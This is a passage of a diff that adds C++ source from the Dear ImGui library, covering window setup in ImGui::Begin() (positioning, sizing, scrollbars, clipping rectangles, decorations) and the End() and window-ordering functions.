~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); + } + else + { + SetWindowPos(window, g.NextWindowData.PosVal, g.NextWindowData.PosCond); + } + } + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSize) + { + window_size_x_set_by_api = (window->SetWindowSizeAllowFlags & g.NextWindowData.SizeCond) != 0 && (g.NextWindowData.SizeVal.x > 0.0f); + window_size_y_set_by_api = (window->SetWindowSizeAllowFlags & g.NextWindowData.SizeCond) != 0 && (g.NextWindowData.SizeVal.y > 0.0f); + SetWindowSize(window, g.NextWindowData.SizeVal, g.NextWindowData.SizeCond); + } + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasScroll) + { + if (g.NextWindowData.ScrollVal.x >= 0.0f) + { + window->ScrollTarget.x = g.NextWindowData.ScrollVal.x; + window->ScrollTargetCenterRatio.x = 0.0f; + } + if (g.NextWindowData.ScrollVal.y >= 0.0f) + { + window->ScrollTarget.y = g.NextWindowData.ScrollVal.y; + window->ScrollTargetCenterRatio.y = 0.0f; + } + } + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasContentSize) + window->ContentSizeExplicit = g.NextWindowData.ContentSizeVal; + else if (first_begin_of_the_frame) + window->ContentSizeExplicit = ImVec2(0.0f, 0.0f); + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasCollapsed) + SetWindowCollapsed(window, g.NextWindowData.CollapsedVal, g.NextWindowData.CollapsedCond); + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasFocus) + FocusWindow(window); + if (window->Appearing) + SetWindowConditionAllowFlags(window, ImGuiCond_Appearing, false); + + // When reusing window again multiple times a frame, just append content (don't need to setup again) + if (first_begin_of_the_frame) + { + // Initialize + const bool window_is_child_tooltip = (flags & ImGuiWindowFlags_ChildWindow) && (flags & ImGuiWindowFlags_Tooltip); // FIXME-WIP: Undocumented behavior of Child+Tooltip for pinned tooltip (#1345) + window->Active = true; + window->HasCloseButton = (p_open != NULL); + window->ClipRect = ImVec4(-FLT_MAX, -FLT_MAX, +FLT_MAX, +FLT_MAX); + window->IDStack.resize(1); + window->DrawList->_ResetForNewFrame(); + window->DC.CurrentTableIdx = -1; + + // Restore buffer capacity when woken from a compacted state, to avoid + if (window->MemoryCompacted) + GcAwakeTransientWindowBuffers(window); + + // Update stored window name when it changes (which can _only_ happen with the "###" operator, so the ID would stay unchanged). + // The title bar always display the 'name' parameter, so we only update the string storage if it needs to be visible to the end-user elsewhere. + bool window_title_visible_elsewhere = false; + if (g.NavWindowingListWindow != NULL && (window->Flags & ImGuiWindowFlags_NoNavFocus) == 0) // Window titles visible when using CTRL+TAB + window_title_visible_elsewhere = true; + if (window_title_visible_elsewhere && !window_just_created && strcmp(name, window->Name) != 0) + { + size_t buf_len = (size_t)window->NameBufLen; + window->Name = ImStrdupcpy(window->Name, &buf_len, name); + window->NameBufLen = (int)buf_len; + } + + // UPDATE CONTENTS SIZE, UPDATE HIDDEN STATUS + + // Update contents size from last frame for auto-fitting (or use explicit size) + window->ContentSize = CalcWindowContentSize(window); + if (window->HiddenFramesCanSkipItems > 0) + window->HiddenFramesCanSkipItems--; + if (window->HiddenFramesCannotSkipItems > 0) + window->HiddenFramesCannotSkipItems--; + if (window->HiddenFramesForRenderOnly > 0) + window->HiddenFramesForRenderOnly--; + + // Hide new windows for one frame until they calculate their size + if (window_just_created && (!window_size_x_set_by_api || !window_size_y_set_by_api)) + window->HiddenFramesCannotSkipItems = 1; + + // Hide popup/tooltip window when re-opening while we measure size (because we recycle the windows) + // We reset Size/ContentSize for reappearing popups/tooltips early in this function, so further code won't be tempted to use the old size. + if (window_just_activated_by_user && (flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_Tooltip)) != 0) + { + window->HiddenFramesCannotSkipItems = 1; + if (flags & ImGuiWindowFlags_AlwaysAutoResize) + { + if (!window_size_x_set_by_api) + window->Size.x = window->SizeFull.x = 0.f; + if (!window_size_y_set_by_api) + window->Size.y = window->SizeFull.y = 0.f; + window->ContentSize = ImVec2(0.f, 0.f); + } + } + + // SELECT VIEWPORT + // FIXME-VIEWPORT: In the docking/viewport branch, this is the point where we select the current viewport (which may affect the style) + SetCurrentWindow(window); + + // LOCK BORDER SIZE AND PADDING FOR THE FRAME (so that altering them doesn't cause inconsistencies) + + if (flags & ImGuiWindowFlags_ChildWindow) + window->WindowBorderSize = style.ChildBorderSize; + else + window->WindowBorderSize = ((flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_Tooltip)) && !(flags & ImGuiWindowFlags_Modal)) ? style.PopupBorderSize : style.WindowBorderSize; + window->WindowPadding = style.WindowPadding; + if ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & (ImGuiWindowFlags_AlwaysUseWindowPadding | ImGuiWindowFlags_Popup)) && window->WindowBorderSize == 0.0f) + window->WindowPadding = ImVec2(0.0f, (flags & ImGuiWindowFlags_MenuBar) ? style.WindowPadding.y : 0.0f); + + // Lock menu offset so size calculation can use it as menu-bar windows need a minimum size. + window->DC.MenuBarOffset.x = ImMax(ImMax(window->WindowPadding.x, style.ItemSpacing.x), g.NextWindowData.MenuBarOffsetMinVal.x); + window->DC.MenuBarOffset.y = g.NextWindowData.MenuBarOffsetMinVal.y; + + // Collapse window by double-clicking on title bar + // At this point we don't have a clipping rectangle setup yet, so we can use the title bar area for hit detection and drawing + if (!(flags & ImGuiWindowFlags_NoTitleBar) && !(flags & ImGuiWindowFlags_NoCollapse)) + { + // We don't use a regular button+id to test for double-click on title bar (mostly due to legacy reason, could be fixed), so verify that we don't have items over the title bar. + ImRect title_bar_rect = window->TitleBarRect(); + if (g.HoveredWindow == window && g.HoveredId == 0 && g.HoveredIdPreviousFrame == 0 && IsMouseHoveringRect(title_bar_rect.Min, title_bar_rect.Max) && g.IO.MouseDoubleClicked[0]) + window->WantCollapseToggle = true; + if (window->WantCollapseToggle) + { + window->Collapsed = !window->Collapsed; + MarkIniSettingsDirty(window); + FocusWindow(window); + } + } + else + { + window->Collapsed = false; + } + window->WantCollapseToggle = false; + + // SIZE + + // Calculate auto-fit size, handle automatic resize + const ImVec2 size_auto_fit = CalcWindowAutoFitSize(window, window->ContentSize); + bool use_current_size_for_scrollbar_x = window_just_created; + bool use_current_size_for_scrollbar_y = window_just_created; + if ((flags & ImGuiWindowFlags_AlwaysAutoResize) && !window->Collapsed) + { + // Using SetNextWindowSize() overrides ImGuiWindowFlags_AlwaysAutoResize, so it can be used on tooltips/popups, etc. + if (!window_size_x_set_by_api) + { + window->SizeFull.x = size_auto_fit.x; + use_current_size_for_scrollbar_x = true; + } + if (!window_size_y_set_by_api) + { + window->SizeFull.y = size_auto_fit.y; + use_current_size_for_scrollbar_y = true; + } + } + else if (window->AutoFitFramesX > 0 || window->AutoFitFramesY > 0) + { + // Auto-fit may only grow window during the first few frames + // We still process initial auto-fit on collapsed windows to get a window width, but otherwise don't honor ImGuiWindowFlags_AlwaysAutoResize when collapsed. + if (!window_size_x_set_by_api && window->AutoFitFramesX > 0) + { + window->SizeFull.x = window->AutoFitOnlyGrows ? ImMax(window->SizeFull.x, size_auto_fit.x) : size_auto_fit.x; + use_current_size_for_scrollbar_x = true; + } + if (!window_size_y_set_by_api && window->AutoFitFramesY > 0) + { + window->SizeFull.y = window->AutoFitOnlyGrows ? ImMax(window->SizeFull.y, size_auto_fit.y) : size_auto_fit.y; + use_current_size_for_scrollbar_y = true; + } + if (!window->Collapsed) + MarkIniSettingsDirty(window); + } + + // Apply minimum/maximum window size constraints and final size + window->SizeFull = CalcWindowSizeAfterConstraint(window, window->SizeFull); + window->Size = window->Collapsed && !(flags & ImGuiWindowFlags_ChildWindow) ? window->TitleBarRect().GetSize() : window->SizeFull; + + // Decoration size + const float decoration_up_height = window->TitleBarHeight() + window->MenuBarHeight(); + + // POSITION + + // Popup latch its initial position, will position itself when it appears next frame + if (window_just_activated_by_user) + { + window->AutoPosLastDirection = ImGuiDir_None; + if ((flags & ImGuiWindowFlags_Popup) != 0 && !(flags & ImGuiWindowFlags_Modal) && !window_pos_set_by_api) // FIXME: BeginPopup() could use SetNextWindowPos() + window->Pos = g.BeginPopupStack.back().OpenPopupPos; + } + + // Position child window + if (flags & ImGuiWindowFlags_ChildWindow) + { + IM_ASSERT(parent_window && parent_window->Active); + window->BeginOrderWithinParent = (short)parent_window->DC.ChildWindows.Size; + parent_window->DC.ChildWindows.push_back(window); + if (!(flags & ImGuiWindowFlags_Popup) && !window_pos_set_by_api && !window_is_child_tooltip) + window->Pos = parent_window->DC.CursorPos; + } + + const bool window_pos_with_pivot = (window->SetWindowPosVal.x != FLT_MAX && window->HiddenFramesCannotSkipItems == 0); + if (window_pos_with_pivot) + SetWindowPos(window, window->SetWindowPosVal - window->Size * window->SetWindowPosPivot, 0); // Position given a pivot (e.g. for centering) + else if ((flags & ImGuiWindowFlags_ChildMenu) != 0) + window->Pos = FindBestWindowPosForPopup(window); + else if ((flags & ImGuiWindowFlags_Popup) != 0 && !window_pos_set_by_api && window_just_appearing_after_hidden_for_resize) + window->Pos = FindBestWindowPosForPopup(window); + else if ((flags & ImGuiWindowFlags_Tooltip) != 0 && !window_pos_set_by_api && !window_is_child_tooltip) + window->Pos = FindBestWindowPosForPopup(window); + + // Calculate the range of allowed position for that window (to be movable and visible past safe area padding) + // When clamping to stay visible, we will enforce that window->Pos stays inside of visibility_rect. + ImRect viewport_rect(GetViewportRect()); + ImVec2 visibility_padding = ImMax(style.DisplayWindowPadding, style.DisplaySafeAreaPadding); + ImRect visibility_rect(viewport_rect.Min + visibility_padding, viewport_rect.Max - visibility_padding); + + // Clamp position/size so window stays visible within its viewport or monitor + // Ignore zero-sized display explicitly to avoid losing positions if a window manager reports zero-sized window when initializing or minimizing. + if (!window_pos_set_by_api && !(flags & ImGuiWindowFlags_ChildWindow) && window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) + if (viewport_rect.GetWidth() > 0.0f && viewport_rect.GetHeight() > 0.0f) + ClampWindowRect(window, visibility_rect); + window->Pos = ImFloor(window->Pos); + + // Lock window rounding for the frame (so that altering them doesn't cause inconsistencies) + // Large values tend to lead to variety of artifacts and are not recommended. + window->WindowRounding = (flags & ImGuiWindowFlags_ChildWindow) ? style.ChildRounding : ((flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiWindowFlags_Modal)) ? style.PopupRounding : style.WindowRounding; + + // For windows with title bar or menu bar, we clamp to FrameHeight(FontSize + FramePadding.y * 2.0f) to completely hide artifacts. + //if ((window->Flags & ImGuiWindowFlags_MenuBar) || !(window->Flags & ImGuiWindowFlags_NoTitleBar)) + // window->WindowRounding = ImMin(window->WindowRounding, g.FontSize + style.FramePadding.y * 2.0f); + + // Apply window focus (new and reactivated windows are moved to front) + bool want_focus = false; + if (window_just_activated_by_user && !(flags & ImGuiWindowFlags_NoFocusOnAppearing)) + { + if (flags & ImGuiWindowFlags_Popup) + want_focus = true; + else if ((flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_Tooltip)) == 0) + want_focus = true; + } + + // Handle manual resize: Resize Grips, Borders, Gamepad + int border_held = -1; + ImU32 resize_grip_col[4] = {}; + const int resize_grip_count = g.IO.ConfigWindowsResizeFromEdges ? 2 : 1; // Allow resize from lower-left if we have the mouse cursor feedback for it. + const float resize_grip_draw_size = IM_FLOOR(ImMax(g.FontSize * 1.10f, window->WindowRounding + 1.0f + g.FontSize * 0.2f)); + if (!window->Collapsed) + if (UpdateWindowManualResize(window, size_auto_fit, &border_held, resize_grip_count, &resize_grip_col[0], visibility_rect)) + use_current_size_for_scrollbar_x = use_current_size_for_scrollbar_y = true; + window->ResizeBorderHeld = (signed char)border_held; + + // SCROLLBAR VISIBILITY + + // Update scrollbar visibility (based on the Size that was effective during last frame or the auto-resized Size). + if (!window->Collapsed) + { + // When reading the current size we need to read it after size constraints have been applied. + // When we use InnerRect here we are intentionally reading last frame size, same for ScrollbarSizes values before we set them again. + ImVec2 avail_size_from_current_frame = ImVec2(window->SizeFull.x, window->SizeFull.y - decoration_up_height); + ImVec2 avail_size_from_last_frame = window->InnerRect.GetSize() + window->ScrollbarSizes; + ImVec2 needed_size_from_last_frame = window_just_created ? ImVec2(0, 0) : window->ContentSize + window->WindowPadding * 2.0f; + float size_x_for_scrollbars = use_current_size_for_scrollbar_x ? avail_size_from_current_frame.x : avail_size_from_last_frame.x; + float size_y_for_scrollbars = use_current_size_for_scrollbar_y ? avail_size_from_current_frame.y : avail_size_from_last_frame.y; + //bool scrollbar_y_from_last_frame = window->ScrollbarY; // FIXME: May want to use that in the ScrollbarX expression? How many pros vs cons? + window->ScrollbarY = (flags & ImGuiWindowFlags_AlwaysVerticalScrollbar) || ((needed_size_from_last_frame.y > size_y_for_scrollbars) && !(flags & ImGuiWindowFlags_NoScrollbar)); + window->ScrollbarX = (flags & ImGuiWindowFlags_AlwaysHorizontalScrollbar) || ((needed_size_from_last_frame.x > size_x_for_scrollbars - (window->ScrollbarY ? style.ScrollbarSize : 0.0f)) && !(flags & ImGuiWindowFlags_NoScrollbar) && (flags & ImGuiWindowFlags_HorizontalScrollbar)); + if (window->ScrollbarX && !window->ScrollbarY) + window->ScrollbarY = (needed_size_from_last_frame.y > size_y_for_scrollbars) && !(flags & ImGuiWindowFlags_NoScrollbar); + window->ScrollbarSizes = ImVec2(window->ScrollbarY ? style.ScrollbarSize : 0.0f, window->ScrollbarX ? style.ScrollbarSize : 0.0f); + } + + // UPDATE RECTANGLES (1- THOSE NOT AFFECTED BY SCROLLING) + // Update various regions. Variables they depends on should be set above in this function. + // We set this up after processing the resize grip so that our rectangles doesn't lag by a frame. + + // Outer rectangle + // Not affected by window border size. Used by: + // - FindHoveredWindow() (w/ extra padding when border resize is enabled) + // - Begin() initial clipping rect for drawing window background and borders. + // - Begin() clipping whole child + const ImRect host_rect = ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Popup) && !window_is_child_tooltip) ? parent_window->ClipRect : viewport_rect; + const ImRect outer_rect = window->Rect(); + const ImRect title_bar_rect = window->TitleBarRect(); + window->OuterRectClipped = outer_rect; + window->OuterRectClipped.ClipWith(host_rect); + + // Inner rectangle + // Not affected by window border size. Used by: + // - InnerClipRect + // - ScrollToBringRectIntoView() + // - NavUpdatePageUpPageDown() + // - Scrollbar() + window->InnerRect.Min.x = window->Pos.x; + window->InnerRect.Min.y = window->Pos.y + decoration_up_height; + window->InnerRect.Max.x = window->Pos.x + window->Size.x - window->ScrollbarSizes.x; + window->InnerRect.Max.y = window->Pos.y + window->Size.y - window->ScrollbarSizes.y; + + // Inner clipping rectangle. + // Will extend a little bit outside the normal work region. + // This is to allow e.g. Selectable or CollapsingHeader or some separators to cover that space. + // Force round operator last to ensure that e.g. (int)(max.x-min.x) in user's render code produce correct result. + // Note that if our window is collapsed we will end up with an inverted (~null) clipping rectangle which is the correct behavior. + // Affected by window/frame border size. Used by: + // - Begin() initial clip rect + float top_border_size = (((flags & ImGuiWindowFlags_MenuBar) || !(flags & ImGuiWindowFlags_NoTitleBar)) ? style.FrameBorderSize : window->WindowBorderSize); + window->InnerClipRect.Min.x = ImFloor(0.5f + window->InnerRect.Min.x + ImMax(ImFloor(window->WindowPadding.x * 0.5f), window->WindowBorderSize)); + window->InnerClipRect.Min.y = ImFloor(0.5f + window->InnerRect.Min.y + top_border_size); + window->InnerClipRect.Max.x = ImFloor(0.5f + window->InnerRect.Max.x - ImMax(ImFloor(window->WindowPadding.x * 0.5f), window->WindowBorderSize)); + window->InnerClipRect.Max.y = ImFloor(0.5f + window->InnerRect.Max.y - window->WindowBorderSize); + window->InnerClipRect.ClipWithFull(host_rect); + + // Default item width. Make it proportional to window size if window manually resizes + if (window->Size.x > 0.0f && !(flags & ImGuiWindowFlags_Tooltip) && !(flags & ImGuiWindowFlags_AlwaysAutoResize)) + window->ItemWidthDefault = ImFloor(window->Size.x * 0.65f); + else + window->ItemWidthDefault = ImFloor(g.FontSize * 16.0f); + + // SCROLLING + + // Lock down maximum scrolling + // The value of ScrollMax are ahead from ScrollbarX/ScrollbarY which is intentionally using InnerRect from previous rect in order to accommodate + // for right/bottom aligned items without creating a scrollbar. + window->ScrollMax.x = ImMax(0.0f, window->ContentSize.x + window->WindowPadding.x * 2.0f - window->InnerRect.GetWidth()); + window->ScrollMax.y = ImMax(0.0f, window->ContentSize.y + window->WindowPadding.y * 2.0f - window->InnerRect.GetHeight()); + + // Apply scrolling + window->Scroll = CalcNextScrollFromScrollTargetAndClamp(window); + window->ScrollTarget = ImVec2(FLT_MAX, FLT_MAX); + + // DRAWING + + // Setup draw list and outer clipping rectangle + IM_ASSERT(window->DrawList->CmdBuffer.Size == 1 && window->DrawList->CmdBuffer[0].ElemCount == 0); + window->DrawList->PushTextureID(g.Font->ContainerAtlas->TexID); + PushClipRect(host_rect.Min, host_rect.Max, false); + + // Draw modal window background (darkens what is behind them, all viewports) + const bool dim_bg_for_modal = (flags & ImGuiWindowFlags_Modal) && window == GetTopMostPopupModal() && window->HiddenFramesCannotSkipItems <= 0; + const bool dim_bg_for_window_list = g.NavWindowingTargetAnim && (window == g.NavWindowingTargetAnim->RootWindow); + if (dim_bg_for_modal || dim_bg_for_window_list) + { + const ImU32 dim_bg_col = GetColorU32(dim_bg_for_modal ? ImGuiCol_ModalWindowDimBg : ImGuiCol_NavWindowingDimBg, g.DimBgRatio); + window->DrawList->AddRectFilled(viewport_rect.Min, viewport_rect.Max, dim_bg_col); + } + + // Draw navigation selection/windowing rectangle background + if (dim_bg_for_window_list && window == g.NavWindowingTargetAnim) + { + ImRect bb = window->Rect(); + bb.Expand(g.FontSize); + if (!bb.Contains(viewport_rect)) // Avoid drawing if the window covers all the viewport anyway + window->DrawList->AddRectFilled(bb.Min, bb.Max, GetColorU32(ImGuiCol_NavWindowingHighlight, g.NavWindowingHighlightAlpha * 0.25f), g.Style.WindowRounding); + } + + // Since 1.71, child window can render their decoration (bg color, border, scrollbars, etc.) within their parent to save a draw call. + // When using overlapping child windows, this will break the assumption that child z-order is mapped to submission order. + // We disable this when the parent window has zero vertices, which is a common pattern leading to laying out multiple overlapping child. + // We also disabled this when we have dimming overlay behind this specific one child. + // FIXME: More code may rely on explicit sorting of overlapping child window and would need to disable this somehow. Please get in contact if you are affected. + { + bool render_decorations_in_parent = false; + if ((flags & ImGuiWindowFlags_ChildWindow) && !(flags & ImGuiWindowFlags_Popup) && !window_is_child_tooltip) + if (window->DrawList->CmdBuffer.back().ElemCount == 0 && parent_window->DrawList->VtxBuffer.Size > 0) + render_decorations_in_parent = true; + if (render_decorations_in_parent) + window->DrawList = parent_window->DrawList; + + // Handle title bar, scrollbar, resize grips and resize borders + const ImGuiWindow* window_to_highlight = g.NavWindowingTarget ? g.NavWindowingTarget : g.NavWindow; + const bool title_bar_is_highlight = want_focus || (window_to_highlight && window->RootWindowForTitleBarHighlight == window_to_highlight->RootWindowForTitleBarHighlight); + RenderWindowDecorations(window, title_bar_rect, title_bar_is_highlight, resize_grip_count, resize_grip_col, resize_grip_draw_size); + + if (render_decorations_in_parent) + window->DrawList = &window->DrawListInst; + } + + // Draw navigation selection/windowing rectangle border + if (g.NavWindowingTargetAnim == window) + { + float rounding = ImMax(window->WindowRounding, g.Style.WindowRounding); + ImRect bb = window->Rect(); + bb.Expand(g.FontSize); + if (bb.Contains(viewport_rect)) // If a window fits the entire viewport, adjust its highlight inward + { + bb.Expand(-g.FontSize - 1.0f); + rounding = window->WindowRounding; + } + window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(ImGuiCol_NavWindowingHighlight, g.NavWindowingHighlightAlpha), rounding, ~0, 3.0f); + } + + // UPDATE RECTANGLES (2- THOSE AFFECTED BY SCROLLING) + + // Work rectangle. + // Affected by window padding and border size. Used by: + // - Columns() for right-most edge + // - TreeNode(), CollapsingHeader() for right-most edge + // - BeginTabBar() for right-most edge + const bool allow_scrollbar_x = !(flags & ImGuiWindowFlags_NoScrollbar) && (flags & ImGuiWindowFlags_HorizontalScrollbar); + const bool allow_scrollbar_y = !(flags & ImGuiWindowFlags_NoScrollbar); + const float work_rect_size_x = (window->ContentSizeExplicit.x != 0.0f ? window->ContentSizeExplicit.x : ImMax(allow_scrollbar_x ? window->ContentSize.x : 0.0f, window->Size.x - window->WindowPadding.x * 2.0f - window->ScrollbarSizes.x)); + const float work_rect_size_y = (window->ContentSizeExplicit.y != 0.0f ? window->ContentSizeExplicit.y : ImMax(allow_scrollbar_y ? window->ContentSize.y : 0.0f, window->Size.y - window->WindowPadding.y * 2.0f - decoration_up_height - window->ScrollbarSizes.y)); + window->WorkRect.Min.x = ImFloor(window->InnerRect.Min.x - window->Scroll.x + ImMax(window->WindowPadding.x, window->WindowBorderSize)); + window->WorkRect.Min.y = ImFloor(window->InnerRect.Min.y - window->Scroll.y + ImMax(window->WindowPadding.y, window->WindowBorderSize)); + window->WorkRect.Max.x = window->WorkRect.Min.x + work_rect_size_x; + window->WorkRect.Max.y = window->WorkRect.Min.y + work_rect_size_y; + window->ParentWorkRect = window->WorkRect; + + // [LEGACY] Content Region + // FIXME-OBSOLETE: window->ContentRegionRect.Max is currently very misleading / partly faulty, but some BeginChild() patterns relies on it. + // Used by: + // - Mouse wheel scrolling + many other things + window->ContentRegionRect.Min.x = window->Pos.x - window->Scroll.x + window->WindowPadding.x; + window->ContentRegionRect.Min.y = window->Pos.y - window->Scroll.y + window->WindowPadding.y + decoration_up_height; + window->ContentRegionRect.Max.x = window->ContentRegionRect.Min.x + (window->ContentSizeExplicit.x != 0.0f ? window->ContentSizeExplicit.x : (window->Size.x - window->WindowPadding.x * 2.0f - window->ScrollbarSizes.x)); + window->ContentRegionRect.Max.y = window->ContentRegionRect.Min.y + (window->ContentSizeExplicit.y != 0.0f ? window->ContentSizeExplicit.y : (window->Size.y - window->WindowPadding.y * 2.0f - decoration_up_height - window->ScrollbarSizes.y)); + + // Setup drawing context + // (NB: That term "drawing context / DC" lost its meaning a long time ago. Initially was meant to hold transient data only. Nowadays difference between window-> and window->DC-> is dubious.) + window->DC.Indent.x = 0.0f + window->WindowPadding.x - window->Scroll.x; + window->DC.GroupOffset.x = 0.0f; + window->DC.ColumnsOffset.x = 0.0f; + window->DC.CursorStartPos = window->Pos + ImVec2(window->DC.Indent.x + window->DC.ColumnsOffset.x, decoration_up_height + window->WindowPadding.y - window->Scroll.y); + window->DC.CursorPos = window->DC.CursorStartPos; + window->DC.CursorPosPrevLine = window->DC.CursorPos; + window->DC.CursorMaxPos = window->DC.CursorStartPos; + window->DC.CurrLineSize = window->DC.PrevLineSize = ImVec2(0.0f, 0.0f); + window->DC.CurrLineTextBaseOffset = window->DC.PrevLineTextBaseOffset = 0.0f; + + window->DC.NavLayerCurrent = ImGuiNavLayer_Main; + window->DC.NavLayerActiveMask = window->DC.NavLayerActiveMaskNext; + window->DC.NavLayerActiveMaskNext = 0x00; + window->DC.NavHideHighlightOneFrame = false; + window->DC.NavHasScroll = (window->ScrollMax.y > 0.0f); + + window->DC.MenuBarAppending = false; + window->DC.MenuColumns.Update(3, style.ItemSpacing.x, window_just_activated_by_user); + window->DC.TreeDepth = 0; + window->DC.TreeJumpToParentOnPopMask = 0x00; + window->DC.ChildWindows.resize(0); + window->DC.StateStorage = &window->StateStorage; + window->DC.CurrentColumns = NULL; + window->DC.LayoutType = ImGuiLayoutType_Vertical; + window->DC.ParentLayoutType = parent_window ? parent_window->DC.LayoutType : ImGuiLayoutType_Vertical; + window->DC.FocusCounterRegular = window->DC.FocusCounterTabStop = -1; + + window->DC.ItemWidth = window->ItemWidthDefault; + window->DC.TextWrapPos = -1.0f; // disabled + window->DC.ItemWidthStack.resize(0); + window->DC.TextWrapPosStack.resize(0); + + if (window->AutoFitFramesX > 0) + window->AutoFitFramesX--; + if (window->AutoFitFramesY > 0) + window->AutoFitFramesY--; + + // Apply focus (we need to call FocusWindow() AFTER setting DC.CursorStartPos so our initial navigation reference rectangle can start around there) + if (want_focus) + { + FocusWindow(window); + NavInitWindow(window, false); + } + + // Title bar + if (!(flags & ImGuiWindowFlags_NoTitleBar)) + RenderWindowTitleBarContents(window, title_bar_rect, name, p_open); + + // Clear hit test shape every frame + window->HitTestHoleSize.x = window->HitTestHoleSize.y = 0; + + // Pressing CTRL+C while holding on a window copy its content to the clipboard + // This works but 1. doesn't handle multiple Begin/End pairs, 2. recursing into another Begin/End pair - so we need to work that out and add better logging scope. + // Maybe we can support CTRL+C on every element? + /* + if (g.ActiveId == move_id) + if (g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_C)) + LogToClipboard(); + */ + + // We fill last item data based on Title Bar/Tab, in order for IsItemHovered() and IsItemActive() to be usable after Begin(). + // This is useful to allow creating context menus on title bar only, etc. + SetLastItemData(window, window->MoveId, IsMouseHoveringRect(title_bar_rect.Min, title_bar_rect.Max, false) ? ImGuiItemStatusFlags_HoveredRect : 0, title_bar_rect); + +#ifdef IMGUI_ENABLE_TEST_ENGINE + if (!(window->Flags & ImGuiWindowFlags_NoTitleBar)) + IMGUI_TEST_ENGINE_ITEM_ADD(window->DC.LastItemRect, window->DC.LastItemId); +#endif + } + else + { + // Append + SetCurrentWindow(window); + } + + // Pull/inherit current state + window->DC.ItemFlags = g.ItemFlagsStack.back(); // Inherit from shared stack + window->DC.NavFocusScopeIdCurrent = (flags & ImGuiWindowFlags_ChildWindow) ? parent_window->DC.NavFocusScopeIdCurrent : 0; // Inherit from parent only // -V595 + + PushClipRect(window->InnerClipRect.Min, window->InnerClipRect.Max, true); + + // Clear 'accessed' flag last thing (After PushClipRect which will set the flag. We want the flag to stay false when the default "Debug" window is unused) + window->WriteAccessed = false; + window->BeginCount++; + g.NextWindowData.ClearFlags(); + + // Update visibility + if (first_begin_of_the_frame) + { + if (flags & ImGuiWindowFlags_ChildWindow) + { + // Child window can be out of sight and have "negative" clip windows. + // Mark them as collapsed so commands are skipped earlier (we can't manually collapse them because they have no title bar). + IM_ASSERT((flags & ImGuiWindowFlags_NoTitleBar) != 0); + if (!(flags & ImGuiWindowFlags_AlwaysAutoResize) && window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) // FIXME: Doesn't make sense for ChildWindow?? + if (!g.LogEnabled) + if (window->OuterRectClipped.Min.x >= window->OuterRectClipped.Max.x || window->OuterRectClipped.Min.y >= window->OuterRectClipped.Max.y) + window->HiddenFramesCanSkipItems = 1; + + // Hide along with parent or if parent is collapsed + if (parent_window && (parent_window->Collapsed || parent_window->HiddenFramesCanSkipItems > 0)) + window->HiddenFramesCanSkipItems = 1; + if (parent_window && (parent_window->Collapsed || parent_window->HiddenFramesCannotSkipItems > 0)) + window->HiddenFramesCannotSkipItems = 1; + } + + // Don't render if style alpha is 0.0 at the time of Begin(). This is arbitrary and inconsistent but has been there for a long while (may remove at some point) + if (style.Alpha <= 0.0f) + window->HiddenFramesCanSkipItems = 1; + + // Update the Hidden flag + window->Hidden = (window->HiddenFramesCanSkipItems > 0) || (window->HiddenFramesCannotSkipItems > 0) || (window->HiddenFramesForRenderOnly > 0); + + // Update the SkipItems flag, used to early out of all items functions (no layout required) + bool skip_items = false; + if (window->Collapsed || !window->Active || window->Hidden) + if (window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0 && window->HiddenFramesCannotSkipItems <= 0) + skip_items = true; + window->SkipItems = skip_items; + } + + return !window->SkipItems; +} + +void ImGui::End() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + // Error checking: verify that user hasn't called End() too many times! + if (g.CurrentWindowStack.Size <= 1 && g.WithinFrameScopeWithImplicitWindow) + { + IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size > 1, "Calling End() too many times!"); + return; + } + IM_ASSERT(g.CurrentWindowStack.Size > 0); + + // Error checking: verify that user doesn't directly call End() on a child window. + if (window->Flags & ImGuiWindowFlags_ChildWindow) + IM_ASSERT_USER_ERROR(g.WithinEndChild, "Must call EndChild() and not End()!"); + + // Close anything that is open + if (window->DC.CurrentColumns) + EndColumns(); + PopClipRect(); // Inner window clip rectangle + + // Stop logging + if (!(window->Flags & ImGuiWindowFlags_ChildWindow)) // FIXME: add more options for scope of logging + LogFinish(); + + // Pop from window stack + g.CurrentWindowStack.pop_back(); + if (window->Flags & ImGuiWindowFlags_Popup) + g.BeginPopupStack.pop_back(); + window->DC.StackSizesOnBegin.CompareWithCurrentState(); + SetCurrentWindow(g.CurrentWindowStack.empty() ? NULL : g.CurrentWindowStack.back()); +} + +void ImGui::BringWindowToFocusFront(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + if (g.WindowsFocusOrder.back() == window) + return; + for (int i = g.WindowsFocusOrder.Size - 2; i >= 0; i--) // We can ignore the top-most window + if (g.WindowsFocusOrder[i] == window) + { + memmove(&g.WindowsFocusOrder[i], &g.WindowsFocusOrder[i + 1], (size_t)(g.WindowsFocusOrder.Size - i - 1) * sizeof(ImGuiWindow*)); + g.WindowsFocusOrder[g.WindowsFocusOrder.Size - 1] = window; + break; + } +} + +void ImGui::BringWindowToDisplayFront(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* current_front_window = g.Windows.back(); + if (current_front_window == window || current_front_window->RootWindow == window) // Cheap early out (could be better) + return; + for (int i = g.Windows.Size - 2; i >= 0; i--) // We can ignore the top-most window + if (g.Windows[i] == window) + { + memmove(&g.Windows[i], &g.Windows[i + 1], (size_t)(g.Windows.Size - i - 1) * sizeof(ImGuiWindow*)); + g.Windows[g.Windows.Size - 1] = window; + break; + } +} + +void ImGui::BringWindowToDisplayBack(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + if 